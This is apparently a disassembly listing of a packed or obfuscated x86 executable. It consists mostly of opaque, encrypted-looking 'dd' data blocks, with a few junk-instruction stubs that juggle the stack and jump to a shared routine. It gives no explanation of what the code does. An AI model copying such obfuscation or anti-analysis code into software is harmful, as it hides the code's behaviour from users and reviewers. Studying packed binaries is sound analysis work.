200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 0ED858B00h, 8605E41Fh dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 5E40765h, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 0ED858B00h, 0C605E41Fh, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 0E41FED85h, 0A188605h dd 0F6850FDBh, 0C7FFFFFFh, 0E4020985h, 5, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5E40209h dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 5E736A2h, 1 dd 4C010F50h, 858FFE24h, 5E736A6h, 369E858Dh, 0BD8D05E7h dd 5E736A6h, 23E93889h, 8D000000h, 0E4292D85h, 38408B05h dd 46F31705h, 9E85899Bh, 8D05E736h, 0E4292D85h, 3C408B05h dd 36A28589h, 858D05E7h, 5E736BBh, 7658589h, 87E905E4h dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h dd 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 5E7392Eh dd 32B58589h, 858D05E4h, 5E73956h, 1DFD8589h, 858D05E4h dd 5E7397Eh, 19858589h, 8EB05E4h, 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 2995858Bh dd 858D05E4h, 5E78589h, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah dd 5E739DFh, 2AE1BD83h, 0F0005E4h, 0F84h, 6A6000h, 10C195FFh dd 0E96105E4h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h dd 895A04CDh, 0E739DB85h, 0DFB58B05h, 0C105E739h, 896610CEh dd 0B58B0272h, 5E739DFh, 0FC728966h, 0DB858B61h, 0C305E739h dd 0DD5958Dh, 958905E4h, 5E41FEDh, 11919589h, 85FF05E4h dd 5E41191h, 2A4985C6h, 685305E4h, 0FCB148D8h, 28E5B5FFh dd 858D05E4h, 5E43994h, 8589D0FFh, 5E410C1h, 36D5858Dh dd 858905E7h, 5E42429h, 51E9h, 748B6000h, 76032424h, 247C8B3Ch dd 81D68B28h, 0F8C2h, 4E8B6600h, 0C9B70F06h, 0F00F983h dd 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh dd 89F82BC1h, 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h dd 0FFE9E9FFh, 3EBAFFFFh, 0EB0009FDh, 585E900h, 79E90000h dd 68000005h, 5E73BCBh, 0FD42ADE9h, 3CE168FFh, 0A3E905E7h dd 68FFFD42h, 5E73D58h, 0FD4299E9h, 3E1568FFh, 8FE905E7h dd 68FFFD42h, 5E73F13h, 0FD4285E9h, 0D8437FFh, 5FD8908Ah dd 0F077E238h, 88335EDh, 0A1D89D85h, 0DBCEE93Eh, 22F89F1Ah dd 889235B2h, 0DC4649C2h, 42F99C1Fh, 21402203h, 0CEBC54ECh dd 0E5CC5291h, 0F6D4F04h, 0B64F04E6h, 0E68CEED7h, 27E84F04h dd 0E626056Ah, 61C74F04h, 864F04E6h, 4F04E5A1h, 4E5DE40h dd 5EDC89CFh, 0FDF586FFh, 0C51D4E8h, 0E8FE3133h, 0F40B3D4h dd 63E45248h, 0B730A67Ch, 7DFFA825h, 0D6CA59Ah, 4788DACDh dd 2F321466h, 4C35A7A2h, 40Ch, 1D803BBCh, 0B3D25505h, 6067E257h dd 18BF38BAh, 0B1D45302h, 8D405964h, 27977312h, 7FFD25A8h dd 8A41D9FCh, 96F58C13h, 0EC20CBA9h, 4532954h, 8649C077h dd 15BDC9Ch, 0EC5379D2h, 4F04E68Bh, 0FEE12B8h, 54CED148h dd 0D5464E7h, 0E5D351AEh, 9E514F04h, 0EB62E935h, 0BAE6C4D1h dd 81349C5Bh, 4C81B206h, 0C98AF949h, 76F32E14h, 0EC000003h dd 28A3150Dh, 62A390h, 7C4F04DAh, 77F9DEBBh, 9C8649C0h dd 0E6F25FD8h, 4E60061h, 0A1E17D4Fh, 8D108B40h, 0DA3097F6h dd 0AF10A3CAh, 14692CE3h, 4F04E616h, 8BE8A596h, 4F04E5A9h dd 7655A0Bh, 654F04E6h, 9092D3B2h, 0EC4F04E6h, 58E2F62Bh dd 5CB61992h, 92AE9938h, 4164313Ch, 0C19B12D9h, 3A5DD794h dd 0D8F06BE0h, 0BC3C9242h, 1B07C63Bh, 0C68FDD5Ch, 5C47BF9h dd 0C536F94Fh, 0C43F3D02h, 7ABD4F05h, 2F310E91h, 0D54F05C4h dd 0E7D2E661h, 94E9AC2Eh, 54E9E6B3h, 91FBC033h, 361C4A4Ch dd 2F6C3A2h, 25960000h, 7BFF2BAAh, 8841D9FCh, 22948E11h dd 79FC26A9h, 6F4EDFFEh, 993CBB3Ah, 3352CD81h, 0E7E661D7h dd 9A3DBC3Bh, 0E143BCE3h, 4354EC21h, 0C0776E25h, 62E97349h dd 8B4BD1EBh, 0F2B4890Ch, 374F04E5h, 4F04F631h, 97663D3h dd 4F04F62Bh, 47154689h, 4F59E80h, 9E1CC94Fh, 959C63Fh dd 8CE654E9h, 0E11982C3h, 0E9957E73h, 0E2E18126h, 46121C4Ah dd 27FFFh, 35AC2F00h, 47C08892h, 981FDA40h, 30AB2DF5h dd 49C075ADh, 0B3E6D146h, 1A008702h, 60BADD5Ah, 0B46E71EAh dd 7A018407h, 2358DA2Bh, 0D6D454ECh, 49C077F9h, 7962E973h dd 4E62604h, 0FEC7864Fh, 4F04E67Ch, 91C237F8h, 0D4DCAE3Bh dd 0A922948Eh, 0EF4DB213h, 4D4F04E5h, 92FC598Ah, 0CF23A225h dd 2E14C974h, 1F0E5h, 1FDCC600h, 529A339Ch, 4F04E5CCh dd 0A92097F3h, 2B772013h, 7FAB2AADh, 0D06A7EF9h, 0BECBE11Ah dd 9745A4ECh, 8127114h, 2A0CC942h, 2E14C959h, 0D6DE006Ah dd 0AC300F60h, 48F4E3h, 0D8230000h, 0D52AED6Fh, 54E903A8h dd 3E6A5384h, 0B51C4B2Ch, 1C25E27h, 0F1620000h, 0FCB5776h dd 5C1D0588h, 0EE60BADDh, 5C85275h, 0A3120B8Ah, 0C5C847F6h dd 7F1E995Dh, 13B235A3h, 0C6C940F7h, 1517683Fh, 9754EC24h dd 0B514BA11h, 4E5F248h, 0CE91424Fh, 584336Fh, 4E65EDCh dd 311DDE4Fh, 40611C0h, 0E6F25F06h, 72159644h, 10A823A8h dd 6F6EE4A5h, 38205B3h, 83D95007h, 9611D8C2h, 5A4411C2h dd 0DDB2049Ah, 516A1634h, 83C2791Ch, 51EC0A2h, 0E1FB3C4Fh dd 741B9E5Bh, 0FBD15B01h, 0A7E3E861h, 3320B837h, 51F70F2h dd 0D60BCC4Fh, 1EE84EB7h, 0CA834F05h, 7BB88548h, 0FB54E91Fh dd 8D4D5538h, 0DB9F8B0Ah, 78FE0C5Ch, 8EE4EDFFh, 410AC0B8h dd 0C9D5BE8Bh, 64CB8A05h, 0E97B191Bh, 0FF589B54h, 2815F4DDh dd 54E97B4Ah, 62AC69AAh, 6D5870F7h, 125332B0h, 5ACD92E9h dd 1F81346Eh, 5F8AE158h, 15A7985Eh, 864975DEh, 2E4E7D21h dd 6BCA8E22h, 0C4h, 5578F364h, 0B8A0DCDh, 0B8DF5A1Fh, 5077F062h dd 98C0BCAh, 4508A11Ch, 9F5FCBCAh, 37A57D60h, 420911B4h dd 6E3DC4CBh, 0EC251311h, 0BCEB9154h, 0E760D6CCh, 0F06BE02Ah dd 5F91F9D8h, 49728187h, 8138B1CDh, 335F382Bh, 58420584h dd 1DBF1893h, 0F9D34E0Fh, 0CF3E9D53h, 0D822F7A9h, 803FBF11h dd 0F2C63B28h, 5266E168h, 347CC6E1h, 555D2DFCh, 23A6130Fh dd 2CAF2C76h, 1A6BCAA9h, 4F054C18h, 84F6A394h, 2E152EBFh dd 1028h, 0CD526F00h, 494F04E5h, 0C5840B82h, 10h, 0E5CC5210h dd 97F34F04h, 0A1EDA621h, 0BB2CB32Ah, 115C6005h, 7D000000h dd 5EA7B425h, 4F04E5DCh, 16A29758h, 0F66770DDh, 7F4DC477h dd 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h dd 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 5E5456B3h, 4C681h dd 0EE830000h, 24348704h, 106B685Ch, 4890000h, 69856824h dd 3C890000h, 4EC8124h, 89000000h, 26682434h, 5E507F5Dh dd 6666F681h, 0F0895598h, 3C8B545Eh, 4C48124h, 50000000h dd 28DABF57h, 7C315AA3h, 8F5F0424h, 77810847h, 0A328DA08h dd 243C8B5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- dw 5EF2h dd 6D0CFD98h, 0E73FFCB8h, 8BC50305h, 20EBD1h, 7 dup(0) dd 0E9000000h, 53Eh, 532E9h, 42306800h, 0FFE905E7h, 68FFFD3Ch dd 5E742D4h, 0FD3CF5E9h, 448868FFh, 0EBE905E7h, 68FFFD3Ch dd 5E744FBh, 0FD3CE1E9h, 0A92093FFh, 0FB7CFC26h, 0C8B4ED4h dd 0A4DF9189h, 0FD74F921h, 27724DDAh, 8E943BB6h, 0D44E51CEh dd 38E2E566h, 0EE9538B3h, 25E446BFh, 3A4054ECh, 47C2776Dh dd 5EDC2180h, 0DE4F04E6h, 2718B01Dh, 0CF04E641h, 3BF23E8Ch dd 0AE14CC48h, 2FB1h, 6DCCE400h, 0E5B3B18Eh, 0FE314F04h dd 4E5A381h, 5CE014Fh, 4E63B3Ch, 39BB744Fh, 26B56956h dd 10C354ECh, 68E3554Dh, 1D5918AFh, 8C000000h, 4E5CC52h dd 0AC2EE74Fh, 5AAB0AE9h, 4F04E5D8h, 0C936E354h, 54EC2715h dd 0B82DB063h, 0E966D6CCh, 6BB760D3h, 7EA46BEEh, 0F66D7FF8h dd 0A588BF1Dh, 0D7CF04E5h, 6DEC0D75h, 2890EBEAh, 9C82E3A2h dd 0C3CF04F4h, 3D9611C7h, 839F7EB1h, 0D0F855D4h, 3DED99F1h dd 710AF273h, 7AFD7AA4h, 585DBF9Bh, 0E91D6A8Fh, 712E992Ch dd 0EE4D2CF3h, 4DF9391h, 75DE11CFh, 0E909BF0Ch, 8CDC1FD4h dd 20B8D55Bh, 495170C9h, 6400D84h, 0A070D31Ah, 7099A830h dd 3C000000h, 76F46FD8h, 8DE9E802h, 0A8132B5Bh, 0CD276E6Eh dd 6EED3598h, 0AD66DDEFh, 996BE5DAh, 0C60954ECh, 0D85F1B07h dd 0C572A87Fh, 10C74342h, 0E34D099h, 51FB1C48h, 30390h dd 1D944700h, 0AF28A07Ah, 0C047F228h, 189345DDh, 0B128AD75h dd 0EBBEF92Eh, 32E8EF6Ah, 98820582h, 0EC3659D2h, 52E9EC6Fh dd 28303273h, 0FE8C54ECh, 2CE2CA1h, 0CC7B0000h, 0E612106Dh dd 88924F04h, 0C57E4AC5h, 1EDBC790h, 181EC19Bh, 0D94F04E6h dd 4F04E6D7h, 4E61918h, 0E656D84Fh, 959B4F04h, 5A4F04E5h dd 0F04E5D4h, 0E1A4269Fh, 0D3BC37B9h, 7845AD0Ch, 0C07FFE6Dh dd 241F7BE8h, 0EDD2BFA9h, 14EC0815h, 0B5EDB063h, 3C378504h dd 934C7953h, 98714E11h, 0DC1ACFCEh, 77C0521Bh, 0C983622Ch dd 25F68h, 0B930A300h, 0CB4C0C16h, 1C9B5EC4h, 0B42FA179h dd 0CD440911h, 37625DCAh, 9E840B86h, 0E43EA1DEh, 48D2F576h dd 0FE850883h, 27D456AFh, 2A5054ECh, 0DBC0777Dh, 4E688EAh dd 0FE33E44Fh, 0E4D9B81Fh, 4F04E686h, 6ECC35E6h, 0CE4F04E6h dd 0C57CF10Dh, 39937CF7h, 8E51D38Ch, 9CE34AA4h, 8C5A96Ah dd 947848B5h, 1BDC54ECh, 0B52BAE74h, 2B7928C7h, 6C73A47Eh dd 348403B6h, 9957CCB9h, 0C77DCB02h, 0FDC285F6h, 5AD3F515h dd 0EEDB063h, 5743331h, 957EB14Fh, 742B0DF2h, 89464F05h dd 0FE33B422h, 0B4D6261Fh, 0C13254ECh, 0FD57041Eh, 588FD7Ch dd 8DDF5E1Dh, 9F18DEC4h, 0B47BCD32h, 591654ECh, 0BD9574DBh dd 2821E49Fh, 9B5BA79Fh, 9672B31Ch, 0E25AD367h, 87346E31h dd 0D2998104h, 17156AC9h, 954F04E7h, 0E6FF7DA2h, 937D4F04h dd 0DF14A423h, 0CCD6B9EAh, 8BC18A0Dh, 4E6E254h, 52D08D4Fh dd 2746B2F3h, 339254ECh, 0EC2770F2h, 0D60BCC54h, 2DAC2B77h dd 2837006Ah, 0C7A5888Dh, 28AF7B0Ah, 5C84EEB1h, 2289E28Ch dd 124F0DC6h, 1F6027A5h, 5AD425C7h, 89EB84EEh, 8C1D0A71h dd 0C87B51CAh, 66B03A97h, 5AAB209Ah, 4F055BD8h, 0E4B7E354h dd 9E2A1F9Fh, 0EE69EB37h, 4E6D70DAh, 7D8ADEDFh, 37E4CE08h dd 18EEBF06h, 50F076BFh, 8F5B4F05h, 33F94A83h, 0C622E15h dd 0B5000000h, 502CC52h, 7134Fh, 52BA0000h, 4F04FFCCh dd 0ED6FD805h, 26E5D52Ah, 904354ECh, 0E766D5CDh, 7A33AE2Ah dd 6F2815F8h, 875AD050h, 0E3DD1754h, 8652222Bh, 0AB3Fh dd 0C57CFF00h, 179058C2h, 0A82FAA70h, 0C07BFD25h, 199045DDh dd 8316A176h, 0EA3057D2h, 30EAED6Ah, 849E01BAh, 8A3154D7h dd 2A88EADBh, 86E454ECh, 0ED6FD8C9h, 985F4B2Ah, 7B4FB461h dd 254EC26h, 0CFDB5418h, 0BD39920Dh, 3B676E7Ah, 77E33FBAh dd 0AE6BD8F0h, 0CD9012CBh, 0D1DE8FE5h, 0BC4006Bh, 60564BB4h dd 0FD3E5AD0h, 2BD64EFCh, 9A5BF122h, 38h, 4D50CB8Ch, 0E3E265D5h dd 9037B227h, 484FC88Ah, 0E1E463D2h, 5D108934h, 0F767A322h dd 0FCD5578h, 5A11098Ch, 4605BC23h, 0EC29FB79h, 54037954h dd 32Ch, 51067B00h, 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh dd 19B32CA0h, 85D75203h, 617BF667h, 0CA9E19DBh, 0AA3EB930h dd 0D5FD890h, 4D4B68B3h, 24890000h, 4BD5524h, 1000000h dd 5D04246Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 7926h mov [esp], eax mov edi, 6E1B3A62h inc edi push edi not dword ptr [esp] pop edi shr edi, 6 neg edi dec edi add edi, 82ED3FBh sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], edi pop dword ptr [eax+8] mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- db 29h dd 1A1949E5h, 42ED0F27h, 0B89D5BB4h, 5E74558h, 0C88BC503h dd 0D9E9h, 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h dd 77CB50C1h, 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h dd 3C0000h, 400000h, 940000h, 50000h, 10000h, 0A280000h dd 20000h, 20h dup(0) dd 0A1D10000h, 0A7E9748Dh, 6800001Fh, 5E74902h, 0FD36E1E9h dd 4A5268FFh, 0D7E905E7h, 68FFFD36h, 5E74B35h, 0FD36CDE9h dd 4C1768FFh, 0C3E905E7h, 68FFFD36h, 5E74CB2h, 0FD36B9E9h dd 4D8168FFh, 0AFE905E7h, 68FFFD36h, 5E74E4Fh, 0FD36A5E9h dd 4F0868FFh, 9BE905E7h, 68FFFD36h, 5E75285h, 0FD3691E9h dd 530468FFh, 87E905E7h, 68FFFD36h, 5E7541Bh, 0FD367DE9h dd 56F168FFh, 73E905E7h, 68FFFD36h, 5E75ADDh, 0FD3669E9h dd 5E4D68FFh, 5FE905E7h, 68FFFD36h, 5E75FCDh, 0FD3655E9h dd 602E68FFh, 4BE905E7h, 68FFFD36h, 5E76085h, 0FD3641E9h dd 60D968FFh, 37E905E7h, 68FFFD36h, 5E761BEh, 0FD362DE9h dd 631468FFh, 23E905E7h, 68FFFD36h, 5E76401h, 0FD3619E9h dd 0E118DBFFh, 33B424FEh, 44C376ACh, 9C17D941h, 35AC21F9h dd 6F3A8592h, 0B66C73EEh, 1C068906h, 60BADD5Eh, 0D66D70EBh dd 2CAC8EF7h, 720854ECh, 0A6160CD3h, 63A09329h, 54EC2D01h dd 0F6E7B063h, 7349C077h, 0A5237852h, 0E5D66A99h, 0E75FDD22h dd 1ADD4F04h, 67E655B1h, 7FF87AA0h, 8A1DF66Dh, 1C4463Fh dd 80E2C3A2h, 0FC4F04E7h, 0B0115E3Bh, 3454E8FDh, 0F076E9C3h dd 5B54E8FCh, 0CAA89574h, 2A54E8FCh, 7EA22CE9h, 0E87EFE24h dd 20B8ED66h, 2F146633h, 5833F8E4h, 27h, 67D6CCFFh, 0B663D0E8h dd 0C5880AC3h, 0E90883F8h, 0A800F354h, 0E907B1B7h, 424E1C54h dd 0F8EAB88Bh, 0E22133h, 77740000h, 88EADBC0h, 0E44F04E6h dd 0A63A442Ah, 95C6F089h, 43F208A0h, 0E156F4C4h, 17735266h dd 88EB27A2h, 2AB8DA69h, 0BF3C6633h, 5B3A993Ch, 51F086Ah dd 0E6B3644Fh, 522DA99h, 3EB93E4Fh, 55D4839Fh, 369D4A07h dd 82B10B84h, 0C4B18E51h, 2054E944h, 7167CFF6h, 567DE5CBh dd 0F04591D0h, 9B3A6F1Dh, 0C46AEE34h, 11C29611h, 0CFB873DCh dd 9EB58A4Dh, 0DA5AD006h, 70D7B619h, 7B62D0Fh, 834C8F4Fh dd 345BD687h, 0CBF06FEEh, 2229E443h, 0EFED5404h, 7500001Ch dd 0DE444BC2h, 20FA9D1Ah, 73AF2EA9h, 0DB4746C1h, 2FF89F1Ah dd 0DD541990h, 73EC60BAh, 8700B66Ch, 0DA5D1A00h, 605D0CBBh dd 54EC2F02h, 0CC4F0462h, 0D0E867D6h, 0DA550763h, 29A01571h dd 0BCBE8766h, 384F04E5h, 9F8B1AF7h, 0A93EA1D8h, 2AED6FD8h dd 0E90860D5h, 411BDC54h, 0E907989Eh, 2B573354h, 0F8EBA1E2h dd 71F82233h, 26A21DF6h, 0F5000001h, 0EADBC077h, 4F04E688h dd 136C33E4h, 4F04E611h, 5D6FA093h, 39930ECFh, 4EA6306h dd 52061C4Fh, 834C87D5h, 0FD70D087h, 88FD7642h, 0DF5E1D05h dd 0CC67D08Dh, 7B97930Dh, 0A7D428CDh, 11C46672h, 0DC11C296h dd 7AFE24EBh, 2A74EFFDh, 9C632CABh, 97E1D53Dh, 5F610407h dd 9AA587F8h, 0D4074F05h, 0BD493A7Bh, 9F7E54E9h, 0E97CC4A6h dd 118A4054h, 2BFDBB95h, 0D235794Fh, 498A34E1h, 0E7C2AC86h dd 0D8267B24h, 0A01D687Fh, 0B5276322h, 0B18E513Ah, 5ACFBE89h dd 31692CEFh, 28AF2BBDh, 0AF2AABF7h, 9A6D261Dh, 0F352CD80h dd 7C51D32Ch, 60D34F07h, 69B110B7h, 581D69E0h, 0AB2A7421h dd 0A1E43F35h, 0C439B52Ch, 4F074C66h, 0F62015C6h, 3BB90907h dd 1AA39445h, 2229E526h, 9F36FF5Dh, 2500001Bh, 8E943BB2h dd 0D04A4DCAh, 23FF9E19h, 8B9736B1h, 0DF484FCAh, 8D04C9E0h dd 235C100Ah, 77F066BCh, 8A0DCA50h, 0D02D7C0Bh, 54EC3052h dd 77FFD4D2h, 0DE444BC6h, 583F9E19h, 2F149342h, 4F04E64Dh dd 1CA36CAFh, 49C0774Bh, 5CDE2786h, 0D84F04E6h, 0B71EBA17h dd 9C0E265Bh, 2BE49747h, 2EF168EFh, 67F4764Fh, 0BF704F05h dd 7C68B3D2h, 4FFA61DEh, 981E9115h, 5CA16459h, 54E94E23h dd 9E7D2013h, 0E8F9C3A1h, 25EE2154h, 2BA0FA4Bh, 949EE7B0h dd 2F117768h, 2C11F476h, 0E53892Fh, 83FF954Fh, 50E9F761h dd 0F062B81Fh, 25EE6577h, 0CF4D3AB7h, 0DC53708h, 0A6FC1178h dd 0A1D89137h, 2AE7D80Bh, 92884F80h, 97E3A225h, 0F309F8B3h dd 80324CD1h, 0EF3B4A07h, 5EC8F168h, 1168C1F1h, 1ABCFABBh dd 91420000h, 2FAB7716h, 7CFD25A8h, 8E40DAFDh, 25A87215h dd 0C3F22BAAh, 0E5E867D6h, 9F3EB93Dh, 3352D583h, 0E6E960D7h dd 3537085Fh, 0B754EC31h, 0C0779AF1h, 0FB278649h, 0A684FD7Ch dd 64F04E5h, 655078D5h, 846B2AA8h, 0D5FD89Eh, 0DB347DD6h dd 1B54E8F5h, 6F1D75D8h, 3CADF16Fh, 0A236B123h, 0C937CB1h dd 0AC19C129h, 59166F2Eh, 0DD5ACDEAh, 724DB21Ah, 116B734h dd 2B77D654h, 1B642BAEh, 16B69419h, 28FF589Bh, 9ABD36D7h dd 0F7C5361Ch, 0C88F0DFAh, 97663D2h, 115A6C2Bh, 47154689h dd 9D7CC38Ch, 2C05BAB5h, 917AF101h, 3F056250h, 3D311917h dd 70ABA33Dh, 0E01FDE28h, 85488B37h, 0FC7E4726h, 7816B6CDh dd 3BB0DAB7h, 11C5DD80h, 4411C296h, 0FB72F921h, 7ACD6AF2h dd 0FABB115Ah, 19DAh, 5174EF60h, 78601C9h, 0B4DB5E1Bh dd 6C73EC6Eh, 58807B6h, 41F4A510h, 9B5BC7C6h, 2BA1791Ch dd 46F52DB0h, 6A39C0C7h, 0EC321715h, 0B8179554h, 8649C077h dd 0E65CDE27h, 17D84F04h, 0EAA31EBAh, 0F758A568h, 7F54E908h dd 75A62195h, 61D73392h, 8BBB9E6h, 0F63954E9h, 0D0AF8A1Dh dd 0F057D582h, 0CD32F28Fh, 34B8425Ah, 0A18E46BBh, 0EBADA711h dd 8A4DCFB8h, 91BF98B5h, 4963D4F1h, 7E21A31Ch, 35B8B301h dd 7FDE11EEh, 9235B423h, 6348C388h, 85841523h, 3F7DC494h dd 0C5000019h, 2EF49B12h, 70AA2DAAh, 0C35F7EF9h, 2BF79611h dd 7FA82FAAh, 6DE46940h, 833CB06Ah, 0D750061Ch, 6AED6AB0h dd 0B08DDC6Bh, 54EC31B2h, 771F7432h, 467349C0h, 0C6A49989h dd 264F04E5h, 0E0DD80F5h, 54E8F977h, 9D1ADEC4h, 819D0DCFh dd 0E56466C3h, 68E756B0h, 0DD003AFh, 82663C25h, 44F646A4h dd 1142F1CBh, 58422144h, 8E451790h, 4D93E6C5h, 0AC69E055h dd 339210CDh, 0CD62B5F2h, 8F4E815Ah, 16A22593h, 5BA470DDh dd 4C4812BFh, 0B4B68F6Eh, 504C47B1h, 984B619Ah, 89602DEEh dd 86FF5EDCh, 522BDA85h, 2F9A2EE1h, 9D1CDD76h, 1C06E5A8h dd 317EDB5Ch, 4D9003C3h, 0F32FEE21h, 58C2C544h, 0E5531893h dd 0CA24E9D7h, 1870A70Eh, 45F60000h, 9B5FCBCAh, 28A1791Ch dd 42F42EB1h, 995CC6C9h, 0FAE7F1Eh, 395CDB9Ah, 0D3F26DE1h dd 87068137h, 3A5DDC9Bh, 81E3DC83h, 0E354EC33h, 0C077CE85h dd 89467349h, 0D27B440Bh, 0A254E8FDh, 0B732A7E3h, 73F12E25h dd 0F154E8FDh, 0EBCACD3Eh, 2CAB3DBFh, 0F3241FADh, 5AA16AD9h dd 7DFFA872h, 53CC809Ah, 0BE01CA79h, 0CD272841h, 43FBD75Ah dd 555DF973h, 0A29511FAh, 4BB41BEAh, 4F05A9E9h, 0E6CF884Bh dd 0E2CEA241h, 0D8BF3DEAh, 0C69215C2h, 80FD400Dh, 0E8B14183h dd 0F473E238h, 0C5C9F1Bh, 8D4FE451h, 588D4612h, 0B02BADF5h dd 79A100E7h, 0F46F7DF4h, 3AE8DA1Bh, 9344EB15h, 0E661D6CCh dd 3DBC3BE7h, 6492D2BCh, 9E67F58Eh, 17A2h, 993CB738h, 4F4EC981h dd 0FCE366D3h, 943BB426h, 4D50CF8Eh, 9CCDDD8h, 0A3130F8Eh dd 0F379A124h, 0ECD5578h, 1271088Fh, 0EC344F2Dh, 80DFAD54h dd 8649C077h, 0F0CDD89Ch, 4F04E672h, 3CC01F2h, 21A31C49h dd 2C5C017Eh, 77B854ECh, 63E93190h, 74E32FE8h, 97F3D2F5h dd 9A5EA827h, 3B944F1Dh, 0EC2D08FAh, 75FFAB54h, 0A103C852h dd 9E41B22Dh, 0FB7DD784h, 23420F40h, 0BA1D9F48h, 0D3722045h dd 0D4BB7C5Ah, 31F0ACEh, 4F84D453h, 4E61416h, 0C676904Fh dd 383A1449h, 0B759AA7Ah, 0F822A596h, 3525EE70h, 0AAAB31BBh dd 12D96379h, 0FF92D29Bh, 0F359222Bh, 16E932h, 45FC7F00h dd 9710D842h, 28AF2AF0h, 40FB7DA5h, 9910C55Dh, 39621F6h dd 6AB0D752h, 0B06A6DEAh, 41E813Ah, 0AB1D457h, 35086A5Bh dd 66454ECh, 26E6CC49h, 830FBC0Ch, 7F28834Ch, 80251AFDh dd 9C54EC89h, 7745C272h, 462419FCh, 0A654EC01h, 455D0075h dd 6AB01796h, 1DA06DEAh, 9B7AF0AAh, 0EC00D4AAh, 0EDFF3054h dd 833CBEE4h, 0D4CC2329h, 0E7CC4C1Eh, 9798D9B2h, 7F54EC79h dd 0D47642FDh, 3ED4E467h, 0E5F43C64h, 6FD41D05h, 9833FC61h dd 7Ah, 0E01BD1C9h, 4D0F1BC8h, 804D86D2h, 0C162D8CBh, 0FCA3940Fh dd 0E341BE1Dh, 414F04E5h, 74F6CF8Eh, 0F04F04E6h, 136D523Fh dd 614F04E6h, 43251AAEh, 8E4F04E6h, 44AEF43Ch, 81685DD6h dd 0DD11FA0Eh, 2E151966h, 3197h, 6EEA3000h, 2A280A7Bh dd 53844F05h, 3C994A1Eh, 106DCC9Fh, 4F04E612h, 8FF4A192h dd 4F04E5AAh, 0CB8A08C5h, 0E90301FAh, 27937D54h, 0E6DB08A0h dd 6FD876E7h, 0D4D52AEDh, 5054E902h, 0B83FCD9Fh, 0D7849E01h dd 77E60454h, 852E0F8h, 0EB62E908h, 3EB93EE4h, 0C4463FAAh dd 0DA551901h, 25F8558Eh, 0CD12FBD8h, 0FA7AA05Ah, 31A8217Dh dd 0C3EFA89Bh, 0A13BB239h, 6758DF9Bh, 86375332h, 0C982B10Bh dd 0F70D7B6h, 4F04F22Dh, 87834C8Fh, 420359D0h, 3B029458h dd 0F8428D77h, 0A68F48BDh, 0C73C75E3h, 0B7ED156Fh, 6083DA5Bh dd 7AD76A78h, 7D205B10h, 0B3340D15h, 513A9AC1h, 0E467D44Eh dd 0B8436D4h, 1F03E9B1h, 9B9E6D45h, 2EFC95C0h, 3BB23965h dd 6CED3594h, 71E620EDh, 3EF7E2F6h, 0BC1D9BCh, 46C17690h dd 84C53A8Dh, 0E0CD1FEAh, 87D55206h, 0AE741B4Ch, 0BB1AAE29h dd 246EE96Fh, 50FD6B67h, 0D8C28F6Fh, 5C918214h, 7550F637h dd 0C09AA800h, 33AA21C0h, 46C176ACh, 258E4772h, 2C536B1h dd 0E5F267A3h, 0D7759A98h, 0E4D91ACCh, 4DB21FD4h, 0D2BB7A74h dd 29880FC0h, 0F6C27DF1h, 0C176907Dh, 6BCD7246h, 0EFD73B7Ah 